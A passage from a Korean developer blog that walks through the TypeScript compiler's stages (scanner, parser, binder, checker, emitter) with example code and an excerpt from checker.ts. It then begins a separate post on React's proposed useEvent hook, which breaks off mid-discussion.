6. transform: 신택스트리를 1번에서 읽었던 옵션에 맞게 변경한다.
7. emit: 신택스 트리를 `.js` `.d.ts`파일 등으로 변경한다.

- 3번까지의 과정이 소스코드를 읽어 데이터로 만드는 과정
- 4, 5가 타입체킹 과정
- 6, 7 을 파일을 만드는 과정이라 볼 수 있다.

## 소스코드를 데이터로 만들기

1번과 2번 과정을 제외하고, 가장 먼저 해야할 일은 코드를 신택스트리로 변경하는 일이다.

`index.ts`

```typescript
const message: string = 'Hello, world!'
welcome(message)

function welcome(str: string) {
  console.log(str)
}
```

위와 같은 파일이 있다고 가정해보자. 일반적으로 자바스크립트 코드는 `;`, 줄바꿈, 내지는 `{}` 등으로 나눠서 이해할 수 있다. 여기에서는 세가지 구문으로 나눠 볼 수 있다.

- `const message: string = "Hello, world!"` 변수를 선언하는 구문
- `welcome(message)` 함수를 호출하는 구문
- `function ...{...}` 함수를 정의하는 구문

타입스크립트는 일단 이렇게 3가지 구문으로 나누어서 시작할 것이다.

```typescript
const message: string = 'Hello, world!'
```

위 코드를 또 자세히 보면, 각각을 다음과 같은 chunk 로 나눌 수 있다.

- `const`
- `message`
- `:`
- `string`
- `=`
- `"Hello, world!"`

이런식으로 일반적인 코드 문자열을 데이터로 만드는 과정이 바로 신택스 트리를 생성하는 과정이라 볼 수 있다. 그리고 이렇게 만들어진 트리가 [abstract syntax tree, 즉 추상구문트리](https://ko.wikipedia.org/wiki/%EC%B6%94%EC%83%81_%EA%B5%AC%EB%AC%B8_%ED%8A%B8%EB%A6%AC)라 불리우는 것이다.

그리고 이 신택스 트리를 만들기 위해서 필요한 것이 `scanner`와 `parser`다.

### scanner

[https://github.com/microsoft/TypeScript/blob/main/src/compiler/scanner.ts](https://github.com/microsoft/TypeScript/blob/main/src/compiler/scanner.ts): 이 코드를 잘 살펴보면, 코드 문자열을 읽기 위한 사전작업, 예를 들어 예약어 (`abstract`, `case` 등)를 읽어들이거나 `{}`와 같은 토큰을 분석하기 위한 작업들이 준비되어 있는 것을 볼 수 있다. (이 스캐너는 무려 26,000줄의 단일파일로 구성되어 있는데, 이제 앞으로 살펴볼 파일들 대비 귀여운(?)편에 속한다.) 이 스캐너의 역할은 일반적인 코드 문자열을 토큰으로 변환하는 것이다. 위의 토큰은 아래와 같이 변환된다.

- `Const Keyword`
- `WhitespaceTrivia`
- `Identifier`
- `ColonToken`
- `WhitespaceTrivia`
- `StringKeyword`
- `WhitespaceTrivia`
- `EqualToken`
- `WhitespaceTrivia`
- `StringLiteral`

[tsplayground 에서 확인해보기](https://www.typescriptlang.org/pt/play?#code/MYewdgzgLgBAtgUwhAhgcwQLhtATgSzDRgF4YAiACQQBsaQAaGAdxFxoBMBCcgWACggA)

> 우측 사이드바에 scanner가 뜨지 않는다면 plugins에서 scanner

> 참고로 실제 타입스크립트에서 동작하는 것과 약간의 차이가 있다.

이과정은 굉장히 선형적으로 단순하게 이루어진다. 즉 파일을 처음부터 주욱 읽어 가면서, 특정 키워드내지는 예약어가 있는지, `identifier`가 있는지, 등을 순차적으로 확인한다.

스캐너는 이 과정에서 코드 문자열의 정합성도 검사한다. 예를 들어 다음과 같은 것들이 있다.

```ts
let noEnd = " // Unterminated string literal.(1002)
let num = 2__3  // Multiple consecutive numeric separators are not permitted.(6189)
const 🤔 = 'hello' // Invalid character.(1127)
let x1 =  1} // Declaration or statement expected.(1128)
```

### parser

[https://github.com/microsoft/TypeScript/blob/main/src/compiler/parser.ts](https://github.com/microsoft/TypeScript/blob/main/src/compiler/parser.ts) `parser`도 비교적 적은 양의 코드인 9,000줄로 구성되어 있다. 이 파서의 역할은, 스캐너가 읽어들인 token을 기준으로 트리를 만드는 것이다.

앞서 언급했던 토큰들은, parser에 의해 아래와 같은 트리로 만들어 진다.

![ts-ast](./images/ts-ast.png)

> https://ts-ast-viewer.com/#code/MYewdgzgLgBAtgUwhAhgcwQLhtATgSzDRgF4YByACQQBsaQAaGAdxFxoBMBCcgKF6A

```text
AST
SourceFile
    pos: 0
    end: 43
    flags: 0
    modifierFlagsCache: 0
    transformFlags: 2229249
    kind: 303 (SyntaxKind.SourceFile)
    statements: [
    FirstStatement
    ]
    endOfFileToken: EndOfFileToken
    fileName: /input.tsx
    text: const message: string = 'Hello, world!'
    languageVersion: 4
    languageVariant: 1
    scriptKind: 4
    isDeclarationFile: false
    hasNoDefaultLib: false
    externalModuleIndicator: undefined
    bindDiagnostics:
    bindSuggestionDiagnostics: undefined
    pragmas: [object Map]
    checkJsDirective: undefined
    referencedFiles:
    typeReferenceDirectives:
    libReferenceDirectives:
    amdDependencies:
    commentDirectives: undefined
    nodeCount: 8
    identifierCount: 1
    identifiers: [object Map]
    parseDiagnostics:
    path: /input.tsx
    resolvedPath: /input.tsx
    originalFileName: /input.tsx
    impliedNodeFormat: undefined
    imports:
    moduleAugmentations:
    ambientModuleNames:
    resolvedModules: undefined
    locals: [object Map]
    endFlowNode: [object Object]
    symbolCount: 1
    classifiableNames: [object Set]
    id: 58041
```

> 위와 같은 내용은 typescript playground > settings > AST Viewer를 누르면 확인해볼 수 있다.

내용을 잘 살펴보면, 앞서 scanner 가 만들었던 토큰을 기준으로 다음과 같은 ast 트리를 만들어 낸 것을 알 수 있다.

- `VariableStatement`: `const`를 시작으로 한 변수 선언 구문을 의미한다.
- `VariableDeclarationList`: 여기에서 선언된 변수 배열을 나타낸다.

> 왜 배열이냐하면, `let a, b, c = 3` 와 같이 여러변수를 한구문에서 선언할 수있기 때문이다.

- `VariableDeclaration`: `message` 선언부를 의미한다.
- `Identifier`: `message`
- `StringKeyword`: `string` 타입 선언부
- `StringLiteral`: `Hello, world!'`

이러한 과정을 거쳐, parser는 scanner가 만들어준 token을 기준으로 신택스 트리를 만들게 된다.

parser에서는, 다음과 같은 내용을 분석하여 에러가 있는지 살펴보고 있다면 에러를 던진다.

```ts
#var = 123 // The left-hand side of an assignment expression must be a variable or a property access.(2364)
const decimal = 4.1n // A bigint literal must be an integer.(1353)
var extends = 123 // 'extends' is not allowed as a variable declaration name.(1389)
var x = { class C4 {} } // ':' expected.(1005)
```

parser가 분석하는 내용은 일반적으로 자바스크립트 구문이 올바른 위치에 있는지 여부를 확인한다고 보면 된다.

## 타입 검사

앞선 과정은 자바스크립트 컴파일러에도 존재하는 과정이었다면, 타입스크립트만의 특별한 과정인 타입검사가 다음으로 존재한다.

### binder

[https://github.com/microsoft/TypeScript/blob/main/src/compiler/binder.ts](https://github.com/microsoft/TypeScript/blob/main/src/compiler/binder.ts)

바인더는 전체 파일(전체 신택스 트리)를 읽어서 타입 검사에 필요한 데이터를 수집하는 과정이라고 볼 수 있다. 전체를 읽어 드린다는 말에서 느낌이 오는 것 처럼, 이 과정은 꽤나 무거운 작업으로 볼 수 있다. 이 과정을 통해서 메타데이터를 수집하고, 타입분석에 필요한 계층 구조등을 만든다.

```typescript
const message: string = 'Hello, world!'
welcome(message)

function welcome(str: string) {
  console.log(str)
}
```

위 파일을 다시 살펴보면 크게 global scope와 function scope 두가지로 나눠져 있는 것을 볼 수 있다.

- global scope
  - `message`
  - `welcome`
- function scope (welcome)
  - `str`

바인더는 이를 순회하면서 어디에, 그리고 어떤 `identifier`가 있는지 확인한다. 자세한 과정을 아래를 통해서 확인해보자.

- `message`가 그 첫번째 `identifier`로, 0번째 식별자로 설정해두고, `const`이기 때문에 `BlockScopedVariable`로 기억해둔다.
- 그 다음엔 `welcome`을 찾을 수 있다. 그러나 아직 이 식별자는 선언되지 않았으므로, 지나간다.
- 인수로 선언되어 있는 `message`도 현재는 그 쓰임새를 알 수 없으므로 지나간다.
- `welcome`을 드디어 찾았다. 이제 `welcome`을 만날 때 마다 무엇을 실행해야하는지 알 수 있게 되었다. 그리고 `welcome`을 `Function`으로 기억해둦다.
  - `welcome`은 함수 스코프로, `parent`인 global scope를 등록한다.
  - `str`은 함수의 인수로, `BlockScopeVariable` 로 등록한다.

이렇게 등록해둔 내용, 이른바 symbol은 향후 스코프에서 이 `identifier`를 만날때 무엇인지 판단할 때 쓸 수 있는 테이블에 등록한다.

![symbol](./images/symbol.png)

또 한가지 binder에서 알아두어야 할 것은 `flw nodes`라는 개념이다.

```ts
// string, number
function log(x: string | number) {
  // string number
  if (typeof x === 'string') {
    // string
    // (1)
    return x
  } else {
    // number
    return x + 1
  }
  // 사실 여기는 unreachable
  // string number
  return x
}
```

위 코드를 보면, `x`라고 하는 변수의 타입이 각각 무엇이 될 수 있는지 머릿속에 흐름을 그려볼 수 있을 것이다. 타입스크립트에서 이러한 기능이 가능한 것은, 기본적으로 타입스크립트는 이러한 타입의 흐름을 추적하고 있기 때문인데, 이에 추가로 타입스크립트는 앞서 언급했던 스코프 내에서의 변수의 타입 변화도 추적한다.

`typeof x === 'string'`과 같은 구문을 flow condition, 그리고 이러한 플로우를 추적하는 스코프를 `flow container`라고 한다. `flow condition`을 기점으로 두개의 `flow container`가 두개 생긴것을 알 수 있다. 그리고 이러한 컨테이너 내부에서 해당 노드 (변수, identifier)가 어떤 타입인지 기억한다. 이를 바탕으로 코드가 내부에서 어떤 흐름으로 작동하는지 판단할 수 있게 된다.

이러한 flow는 타입스크립트가 해당 변수가 어떤 타입인지 추적할 수 있게 도와주는데, 이러한 추적은 밑에서 위로 올라가는 방식으로 진행된다. `(1)`에서 시작한다고 가정해보자. 해당 위치에서, 타입스크립트는 `x`의 타입이 무엇인지 flow node를 통해 물어보게되고, 가장 먼저 만나는 `flow condition`을 통해 `x`는 `string`임을 알게 된다. 이처럼, 해당 변수의 타입을 알기 위해서 `flow container` 내부에서 `flow condition`을 만나는지, 혹은 `flow container`의 시작지점에서 어떻게 선언되어있는지를 확인하는 bottom-to-top 방식으로 확인한다.

바인더도 여타 다른 과정과 마찬가지로 코드를 검사하는 과정을 거친다. binder에서 확인할 수 있는 것들은 다음과 같다.

```ts
const a = 123
delete a // 'delete' cannot be called on an identifier in strict mode.(1102)

const abc = 123
const abc = 123 // Cannot redeclare block-scoped variable 'abc'.(2451)

yield // Identifier expected. 'yield' is a reserved word in strict mode.

class A {} // duplicate identifier 'A;
type A {}
```

이처럼 바인더는 전체를 읽어 드리는 과정에서 전체적인 context를 이해하였으므로, 이러한 전체 신택스 트리를 기준으로 잡아낼 수 있는 문제점을 지적할 수 있다. 예를 들어 `strict mode`에 대한 검사나, 스코프 내에서 중복된 `identifier` 등을 잡아낼 수 있다.

### checker

[https://github.com/microsoft/TypeScript/blob/main/src/compiler/checker.ts](https://github.com/microsoft/TypeScript/blob/main/src/compiler/checker.ts) 는 이름에서도 알 수 있는 것 처럼 실제 타입을 체크하는 파일이다. 타입스크립트의 꽃이라고 볼 수 있으며, github의 file을 보면 알 수 있지만 2.67mb의 위용을 자랑한다. 대략 42000줄의 코드가 포함되어 있으며, 여기에 우리가 상상할 수 있는 흥미로운 것들이 많이 존재한다. (왜 `unknown`이 `any`보다 나은지, 타입스크립트의 구조적 타이핑은 무엇인지 등등..)

> 이렇게 하나의 파일에 크게 모두 담아 둔 이유는, 파일을 나눠서 관리하는 것 보다 하나의 파일에서 관리하는 것이 속도 측면에서 훨씬 좋기 때문이다. 특히 `checker`의 경우, 기존에는 100개가 넘는 import 가 존재하였는데, 이것이 속도에 있어 많은 걸림돌이 되었다고 한다.

> 참고자료
>
> - https://github.com/microsoft/TypeScript/issues/27891#issuecomment-530535972
> - https://twitter.com/orta/status/1178805954869125125
> - https://twitter.com/SeaRyanC/status/1178848975656345601

여기에 있는 내용을 모두 다 다루기 위해서는, 코드의 길이만큼의 설명이 필요하기 때문에 개괄적인 내용에 대해서만 다루고자한다.

`checker` 라는 이름에서 알수 있듯이, 대다수의 타입스크립트 validation이 여기에서 이루어진다..

![ts-diagnostics](./images/ts-diagnostics.png)

> https://orta.keybase.pub/talks/tsconf-2021/long-tsconf-2021.pdf?dl=1

여기에서 중점적으로 다루고자 하는 것은, 어떻게 체크를 하는지, 그리고 어떻게 타입을 비교하는지, 그리고 추론 시스템은 어떻게 구성되어 있는 지 등 총 3가지에 대해 이야기 해보고자 한다.

```ts
const message: string = 'Hello, world'
```

거의 대부분의 신택스 트리에는, 이에 맞는 checker 함수가 있다고 보면 된다. 타입스크립트는 이 신택스 트리를 순회하면서 대부분의 객체들을 체크 하게 된다.

- `VariableStatement`
  - `VariableDeclarationList`
  - `VariableDeclaration`
    - `Identifier`
    - `StringKeyword`
    - `StringLiteral`

```text
checker.checkSourceElementWorker
checker.checkVariableStatement
checker.checkGrammarVariableDeclarationList
checker.checkVariableDeclaration
checker.checkVariableLikeDeclaration
checker.checkTypeAssignableToAndOptionallyElaborate
checker.isTypeRelatedTo
```

이렇듯 신택스 트리를 순차적으로 순회하면서, 체크 가능한 모든 것들을 체크하면서 validation을 진행하게 된다.

앞서, `string = "Hello, world"` 구문은, 다음의 과정을 거치게 된다. (`checker.isTypeRelatedTo`)

```ts
function isSimpleTypeRelatedTo(
  source: Type,
  target: Type,
  relation: ESMap<string, RelationComparisonResult>,
  errorReporter?: ErrorReporter,
) {
  const s = source.flags
  const t = target.flags
  if (
    t & TypeFlags.AnyOrUnknown ||
    s & TypeFlags.Never ||
    source === wildcardType
  )
    return true
  if (t & TypeFlags.Never) return false
  if (s & TypeFlags.StringLike && t & TypeFlags.String) return true
  if (
    s & TypeFlags.StringLiteral &&
    s & TypeFlags.EnumLiteral &&
    t & TypeFlags.StringLiteral &&
    !(t & TypeFlags.EnumLiteral) &&
    (source as StringLiteralType).value === (target as StringLiteralType).value
  )
    return true
  if (s & TypeFlags.NumberLike && t & TypeFlags.Number) return true
  if (
    s & TypeFlags.NumberLiteral &&
    s & TypeFlags.EnumLiteral &&
    t & TypeFlags.NumberLiteral &&
    !(t & TypeFlags.EnumLiteral) &&
    (source as NumberLiteralType).value === (target as NumberLiteralType).value
  )
    return true
  if (s & TypeFlags.BigIntLike && t & TypeFlags.BigInt) return true
  if (s & TypeFlags.BooleanLike && t & TypeFlags.Boolean) return true
  if (s & TypeFlags.ESSymbolLike && t & TypeFlags.ESSymbol) return true
  if (
    s & TypeFlags.Enum &&
    t & TypeFlags.Enum &&
    isEnumTypeRelatedTo(source.symbol, target.symbol, errorReporter)
  )
    return true
  if (s & TypeFlags.EnumLiteral && t & TypeFlags.EnumLiteral) {
    if (
      s & TypeFlags.Union &&
      t & TypeFlags.Union &&
      isEnumTypeRelatedTo(source.symbol, target.symbol, errorReporter)
    )
      return true
    if (
      s & TypeFlags.Literal &&
      t & TypeFlags.Literal &&
      (source as LiteralType).value === (target as LiteralType).value &&
      isEnumTypeRelatedTo(
        getParentOfSymbol(source.symbol)!,
        getParentOfSymbol(target.symbol)!,
        errorReporter,
      )
    )
      return true
  }
  // In non-strictNullChecks mode, `undefined` and `null` are assignable to anything except `never`.
  // Since unions and intersections may reduce to `never`, we exclude them here.
  if (
    s & TypeFlags.Undefined &&
    ((!strictNullChecks && !(t & TypeFlags.UnionOrIntersection)) ||
      t & (TypeFlags.Undefined | TypeFlags.Void))
  )
    return true
  if (
    s & TypeFlags.Null &&
    ((!strictNullChecks && !(t & TypeFlags.UnionOrIntersection)) ||
      t & TypeFlags.Null)
  )
    return true
  if (s & TypeFlags.Object && t & TypeFlags.NonPrimitive) return true
  if (relation === assignableRelation || relation === comparableRelation) {
    if (s & TypeFlags.Any) return true
    // Type number or any numeric literal type is assignable to any numeric enum type or any
    // numeric enum literal type. This rule exists for backwards compatibility reasons because
    // bit-flag enum types sometimes look like literal enum types with numeric literal values.
    if (
      s & (TypeFlags.Number | TypeFlags.NumberLiteral) &&
      !(s & TypeFlags.EnumLiteral) &&
      (t & TypeFlags.Enum ||
        (relation === assignableRelation &&
          t & TypeFlags.NumberLiteral &&
          t & TypeFlags.EnumLiteral))
    )
      return true
  }
  return false
}
```

> https://raw.githubusercontent.com/microsoft/TypeScript/main/src/compiler/checker.ts

먼저 타입 `string`과 `string literal`즉, 값의 `string`을 비교하여 확인하게 되는데, 이 둘이 일치하면 `true`를 리턴하게 된다. 코드의 길이는 길지만, 이 경우에는 비교가 비교적 간단하여 함수 전체를 실행하지는 않을 것이다.

만약 아래와 같은 코드는 어떻게 될까?

```ts
{ hello: number} = {hello: "world"}
```

타입스크립트는 구조적 타이핑 (structural typing)을 기반으로 하고 있으므로 먼저 외적인 구조 부터 비교를 시작하여 안으로 파고 들게 된다. 이 경우 둘다 `object`의 형태를 띄고 있기 때문에 이 시점의 비교에서는 `true`가 리턴될 것이다. 그리고 그 다음 내부의 필드를 비교하는데, 두개 모두 `hello`를 가지고 있으므로 여기서도 `true`가 될 것이다. 그 다음 필드의 값을 비교하게 되는데, `number` (위 코드 기준 `TypeFlags.NumberLike`), 그리고 `string literal`인 `"world"`가 들어가 있으므로 결국에는 `false`가 리턴될 것이다.

이와 거의 유사한 방식으로 `type generic`도 비교하게 된다.

```ts
Promise<string> = Promise<{hello: string}>
```

> 물론, [제네릭의 공변성과 반공변성](<https://en.wikipedia.org/wiki/Covariance_and_contravariance_(computer_science)>)에 대해 다루기 시작하면 복잡해진다.

`Promise`, `Generic` (`<string>`, `{hello: string}`)

그 다음으로는 타입 추론에 대해서 알아보자. 코드의 타입 추론도 마찬가지로 `checker`의 역할 중 하나다.

```typescript
const message: string = 'Hello, world!'
```

처럼 쓸 수도 있지만, 대부분의 경우에는

```typescript
const message = 'Hello, world!'
```

를 더 선호할 것이다.

위 와 같은 경우에는, 아래와 같은 신택스 트리가 생성된다.

- `VariableStatement`
  - `VariableDeclarationList`
    - `VariableDeclaration`
      - `StringKeyword` (`name`)
      - 타입이 없다! 🤔
      - `StringLiteral` (`initializer`)

이 경우에는 간단하게 `initializer`의 타입을 비어 있는 타입쪽으로 이동 시키면 된다.

```ts
declare function setup<T>(config: {initial(): T}): T
```

위와 같은 타입 파라미터 추론의 경우에는 조금 복잡해진다. 여기에서 선언된 `T`는 실제 함수가 사용되기 전까지 무슨 타입이 올지 알 수 없다. 여기서 `checker`가 얻을 수 있는 정보는 다음과 같다.

- Generic Function
- Generic Arg T
- Return Value T
- parameter는 객체이며 `initial`이 키이고, 값은 `T`

그리고 함수의 사용이 다음과 같을 때, 위와 마찬가지 프로세스로 비교하게 된다.

```ts
const abc = setup({
  initial() {
    return 'abc'
  },
})
```

```ts
// 객체를 시작으로 밖에서부터 비교
// T를 만날때까지 안으로 파고 든다.
// T는 string으로 추론할 수 있다.
{ initial(): T } = { initial(): string }
```

`T`를 만나서 `string`이라는 것이 확인 되는 순간, `cheker`는 해당 함수`setup`으로 새로운 인스턴스를 만들게 된다. 이 인스턴스에는 `T`가 `string`이라는 정보가 담기게 되고, 모든 `T`를 `string`으로 변경한다. 그리고 그 다음에 다시 `checker`는 비교를 시작하게 된다.

```ts
const abc = setup({initial() { return "abc" }})
{initial(): string} = {initial():"abc"}
```

마지막으로 알아볼 것은 `contextual typing`, 즉 문맥상의 타이핑이다. 문맥상의 타이핑이란, 타입의 결정이 코드의 위치 (문맥) 을 기준으로 일어난다는 것을 의미한다.

```ts
type Adder = {
  inc(n: number): number
}

const adder: Adder = {
  inc(n) {
    return n + 1
  },
}
```

여기에서도 마찬가지로, parameter 에서 시작하여 신택스 트리를 분석 하여 비교한다. 가장먼저 `n`의 경우에는 타입이 현재 존재하지 않는다. 때문에 `Adder` 타입으로 돌아가 타입 비교를 시작하게 된다. 이 과정은 앞서 이야기한 타입 비교 과정과 동일하다. `Adder`는 객체타입으로 비교 확인이 완료되고, 그 이후에 `inc`라는 `attribute`가 있는지 확인하고, 일치하였으므로, 내부의 `n`을 찾아 `number`라는 타입을 얻을 수 있게 된다.

즉 타입을 알아내기 위해 파라미터에서 시작을 했다가, 파라미터에서 타입을 알아내지 못했다면 이에 해당하는 타입으로 돌아가 `n`에 해당하는 타입을 가져오게 된다.

만약 `adder`에 `n`이 `number`로 선언되어 있다 하더라도, `Adder`의 객체 타입과 비교해야 하기 때문에 동일한 과정을 또 거쳤을 것이다.

결론적으로, 타입스크립트는 이에 타입을 알아야하는 무언가가 있다면 이에 매칭하는 타입을 찾을 때 까지 신택스 트리를 거슬러 올라갈 것이다.

이렇듯 `checker`에는 타입을 체크하기 위핸 다양한 방법과 아이디어가 담겨 있다. 이를 근본적으로 이해하는 가장 좋은 방법은, github에서는 큰 파일이라 볼 수 없으므로, 직접 로컬에서 클론해서 `checker.ts`의 구조를 파악해보는 것이다. 그리고 여기에서 흥미로운 부분이 있다면, 직접 `console.log`를 넣어 디버깅 해보거나, 혹은 `debugger`를 넣는 방법 등으로 일련의 동작을 파악해본다면 도움이 될 것이다.

## 파일 생성하기

`checker`까지 거쳤다면, 이제 `.js`, 자바스크립트 파일을 만들 시간이다. 각종 도구들로 만들고 분석한 신택스 트리로, 어떻게 자바스크립트 파일을 만드는지 살펴보자.

[https://github.com/microsoft/TypeScript/blob/main/src/compiler/emitter.ts](https://github.com/microsoft/TypeScript/blob/main/src/compiler/emitter.ts)

`emitter`의 역할은 신택스 트리를 읽어서 파일로 리턴하는 것이다. `emitter`의 다음 네가지로 크게 분류할 수 있다.

- `.js` `.map` `.d.ts`를 만들어냄
- 신택스 트리를 text로 변환
- 루프 내부 `_i` `_i2` 와 같은 임시 변수를 추적
- 신택스 트리를 신택스 트리로 변환 (aka `transformer`)

신택스 트리를 신택스 트리로 변환한다는 것은 무엇일까? 아래 예제를 보면 명확히 이해할 수 있다.

```ts
const message: string = 'Hello, world'
```

**타입스크립트의 신택스 트리**

- `VariableStatement`
  - `VariableDeclarationList`
    - `VariableDeclaration`
      - `identifier` (name)
      - `StringKeyword` (type)
      - `StringLiteral` (initializer)

_자바스크립트의 신택스 트리_

- `VariableStatement`
  - `VariableDeclarationList`
    - `VariableDeclaration`
      - `identifier` (name)
      -
      - `StringLiteral` (initializer)

타입스크립트는 자바스크립트의 신택스트리와 다르게 `type` 이라는 것이 존재하므로, 이를 제거하는 과정을 거치게 된다.

이외에도 타입스크립트 transformer는 설정에 따라 다양한 일들을 하는데, 이는 모두 신택스트리를 기준으로 이루어진다.

- ts syntax 제거
- 클래스 필드 (타입스크립트에만 있는)
- ESNext transform
- ES2020 ~ ES2015 transform
- ES2015 Generator
- Module Transformer
- ES Transformer
- Done!

이러한 과정도, `ts playground`에서 `plugin`을 추가하여 확인해 볼 수 있다.

![ts-transformer](./images/ts-transformer.png)

위 코드는 최신문법이 없기 때문에 굉장히 간단하지만, 최신 코드 (`ES2020` 등) 를 사용해보면 `transforming` 하는 모습을 직접 볼 수 있을 것이다.

여기에 덧붙여, `transformer`이 어떤 코드를 실제로 `transform`을 해야하는지 알기 위해, `transformer`는 `treefacts`를 사용하여 이 코드가 어떤 문법으로 이루어져있는지 확인한다. 즉, 각 파트가 나중에 어떤 식으로 변경되어야 하는지 이해하는 과정을 거친다.

![ts-treefacts](./images/ts-treefacts.png)

첫번째 코드 `const`의 경우 ES2015의 문법이 들어가 있기 때문에, `AssetES2015`라는 플래그를 기록해둔다. 그리고 이후 `transformer`에서 `ES2015` 과정을 거치게 되면 해당 플래그 부분을 변환하게 될 것이다.

`welcome(msg)`는 es3에서도 실행될 수 있는
무난한 자바스크립트 코드(?) 이므로 별다른 체크를 해두지 않는다.

마지막은 특별한 부분은 없지만, typescript 향 코드 이므로 (타입이 있으므로) 타입스크립트 코드라는 체크만 해둔다.

`treefacts`는 이처럼 각 `transformer`가 거쳐야 할 일들을 체크해 두며, 각 `transform`과정을 거칠 때 마다 하나씩 제거해서 우리가 원하는 js 파일로 만들어준다.

이와 반대로, `d.ts`의 경우에는 타입만을 남겨두길 원하기 때문에, 앞서 언급했던 트리에서 `initializer`를 제거하고 타입만 남겨 둘 것이다.

그러나 반대로 자바스크립트를 기준으로 `.d.ts`를 만드는 경우도 있을 것이다. (레거시 js 라이브러리를 사용하기 위해서 custom `d.ts`를 추가하거나 `@types/***`를 만드는 경우) 이 경우에는 앞서 이야기 했던 과정이 반대로 이루어진다고 생각하면 된다. 자바스크립트 신택스 트리를 만든 다음, checker를 통해서 필요한 타입을 추론하고, 이를 `DTS Transformer`를 거쳐 `d.ts` 신택스를 만들게 된다. 한가지 더 번거로운 것은, 당연하게도 자바스크립트는 타입이 없기 때문에 가능한 타입에 대해서 모든 것들을 체크해서 확인한다는 것이다.

## 마무리

타입스크립트 컴파일러는 앞서 살펴보았듯 여러개의 파일, 그리고 각 파일 마다 수천 수만 라인의 코드로 이루어져 있고, 이를 몇 백줄의 글로 요약하기란 불가능에 가깝다. 이글은 어디까지나 코드나 강의자료를 참고 하면서 요약해둔 내용일 뿐이다.

실제 타입스크립트 컴파일러 내부에서는 여기에서 언급한 내용 이외에도 수많은 동작과 또 우리가 알지 못한 다양한 최적화 기법이 적용되어 있다. 이를 확인해 보기 위해 직접 저장소를 방문해 코드를 보는 것을 추천한다.

## 회고

- 신기 혹은 당연한 일이지만, 모든 타입스크립트 컴파일러들은 타입스크립트로 작성되어 있다.
- 코드를 보고 나니 SWC가 왜 만들어진지 알 수 있었다. 신택스 트리르 만들고, 분석하고, 파일을 순회해서 분석하는 일은 상당히 복잡하고 많은 시간이 소요되는 일이다. 자바스크립트 개발자로서 자바스크립트를 디스하고 싶지 않지만, 확실히 이런 일은 '안' 자바스크립트가 어울릴 수 있겠다는 생각이 든다.
  - 굳이 wasm때문이 아니더라도, 자바스크립트 생태계에 rust가 조금씩 들어오는 건 어쩌면 필연적인 일이었을 수도?
- 타입스크립트를 자주 쓰지만, 컴파일러가 어떻게 동작하는 지를 탐구해볼 생각을 많이 안해본 것 같다. 이번 기회에 많이 배우게 되었다.

---

Source: https://yceffort.kr/2022/05/useEvent.md
Title: 리액트의 새로운 훅, useEvent
Description: 트위터 염탐 시리즈 제1탄
Date: 2022-05-12
Tags: react

## Table of Contents

## 무엇이 문제인가?

리액트 개발을 어느정도 하다보면, 리렌더링을 거치는 과정에서 함수를 고정시키기 매우 어렵다는 것을 알 수 있다. 아래 예제를 살펴보자.

```jsx
function Chat() {
  const [text, setText] = useState('')

  const onButtonClick = () => {
    console.log(text)
  }

  return (
    <>
      <input value={text} onChange={(e) => setText(e.target.value)} />
      <button onClick={onButtonClick}>버튼</button>
    </>
  )
}
```

`setState`는 리액트 컴포넌트의 리렌더링을 야기하므로, `input`의 값을 바꿀 때 마다 `onButtonClick` 함수는 새로 생성될 필요가 없는 함수임에도 불구하고 `setText`가 일어날 때 마다 새로 생성 될 것이다.

![useEvent-1](./images/useEvent-1.png)

![useEvent-2](./images/useEvent-2.png)

![useEvent-3](./images/useEvent-3.png)

위 스크린샷은 input에 두번씩 타이핑을 하면서 크롬에서 메모리 스냅샷을 촬영한 화면인데, 매번 `onButtonClick` 함수가 가리키는 메모리 주소가 달라지는 것을 볼 수 있다.

이를 해결하기 위해서 쓰는 방법 중 하나는 바로 `useCallback`이다.

```jsx
function Chat() {
  const [text, setText] = useState('')
  const [clicked, setClicked] = useState(false)

  const onButtonClick = useCallback(
    function onButtonClickCallback() {
      console.log(text)
    },
    [text],
  )

  return (
    <>
      <input value={text} onChange={(e) => setText(e.target.value)} />
      <button onClick={onButtonClick}>버튼</button>
      <button onClick={() => setClicked((prev) => !prev)}>
        {clicked ? '클릭함' : '안함'}
      </button>
    </>
  )
}
```

`useCallback`을 사용하고, deps로 `text`를 추가하는 방법을 고려해볼 수 있다. 그러나 이 경우에도 마찬가지로 `text`가 바뀔 때 마다 새로운 함수가 생성된다는 사실에는 변함이 없다.

![useEvent-4](./images/useEvent-4.png)

> 다른 state 변경으로는 함수가 재생성되지 않고 고정되지만, 여전히 deps에 의존하고 있는 값이 수정되면 다시 생성된다는 것에는 변함이 없다.

그렇다고 deps를 제거하면, 저 핸들러는 항상 최초의 `text`값만 보게 될 것이다. 이러한 문제를 해결하기 위해 나온 것이 `useEvent`다.

## useEvent

> 주의: 2022-05-12 기준으로 `useEvent`는 아직 사용할 수가 없는 상태다. 순전히 RFC를 기준으로 작성된 글이라는 걸 염두해두길 바란다.

```javascript
function Chat() {
  const [text, setText] = useState('')

  // text가 변경되도 항상 같은 함수임
  const onClick = useEvent(() => {
    sendMessage(text)
  })

  return <SendButton onClick={onClick} />
}
```

`useEvent`의 중요한 특징 두가지는 다음과 같다.

- `deps`가 없음
- state인 `text`가 변경되도 함수를 재생성하지 않고 하나의 안정된 함수만을 사용하게 됨.
- 그럼에도 불구하고 항상 최신의 `text`를 바라볼 수 있음.
- 따라서, `Memoize`된 `<SendButton />`의 리렌더링을 막을 수 있음.

## `useEvent`를 사용하면 이벤트 핸들러가 변경되도 `useEffect`는 다시 호출되지 않는다.

```jsx
function Chat({selectedRoom}) {
  const [muted, setMuted] = useState(false)
  const theme = useContext(ThemeContext)

  useEffect(() => {
    const socket = createSocket('/chat/' + selectedRoom)
    socket.on('connected', async () => {
      await checkConnection(selectedRoom)
      showToast(theme, 'Connected to ' + selectedRoom)
    })
    socket.on('message', (message) => {
      showToast(theme, 'New message: ' + message)
      if (!muted) {
        playSound()
      }
    })
    socket.connect()
    return () => socket.dispose()
  }, [selectedRoom, theme, muted]) // 이 deps 중 하나만 변경되도 다시 실행됨.
  // ...
}
```

위 컴포넌트의 문제는, `theme`이나 `muted`가 바뀌게 되면 `useEffect`가 다시금 실행된다는 것이다. `theme`과 `muted`는 `effect`안에 있으므로 이를 의존성에 선언해 주어야 하고, 이것이 바뀌면 다시 실행되는 구조를 가지게 된다.

물론 `deps`에서 제거하는 방식도 고려할 수 있다. 그러나 이 경우 `eslint-disable-line react-hooks/exhaustive-deps`를 사용해줘야 하며 (얼마나 자주 썼던지 다 외웠다.), 이를 잘못 쓸 경우 예기치 않은 오류를 만들어 낼 수 있는 위험을 감수해야 한다. (이경우 `theme`이 다크모드 등으로 변경되어도 새로운 `toast`를 그리지 못하게 될 것이다.)

